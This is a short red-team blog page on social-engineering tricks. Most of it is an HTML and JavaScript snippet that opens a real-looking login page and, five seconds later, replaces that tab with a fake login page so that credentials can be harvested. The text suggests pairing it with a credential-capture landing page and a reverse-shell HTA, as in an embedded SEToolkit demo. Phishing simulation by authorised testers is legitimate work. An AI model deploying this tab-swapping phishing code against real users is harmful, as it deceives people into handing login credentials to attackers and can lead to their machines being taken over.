> For the complete documentation index, see [llms.txt](https://blog.dev4cloud.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.dev4cloud.net/pentesting-and-red-teaming/social-engineering-tricks.md).

# Social Engineering Tricks

Random SocialE Stuff

### Open Page in New Tab (Useful for BeeF hooks)

```markup
<html>
<script>
var windowJack = function(){
window.open('https://legitloginpage.xyz', 'test');
setTimeout(function(){window.open('https://notlegitloginpage.xyz', 'test');}, 5000);
}
</script>
<div style="width :100%; hieght: 100%" onclick="windowJack()"><button style="cursor: pointer; background:none!important; border:none; padding:0!important; font:inherit; border-bottom:1px solid #444;">Click here to visit a legit login page</button></div>
</html>

```

You could combine this attack with a credential capturing landing page and reverse\_shell HTA as seen in SEToolkit demo below:

{% embed url="<https://vimeo.com/404763656>" %}
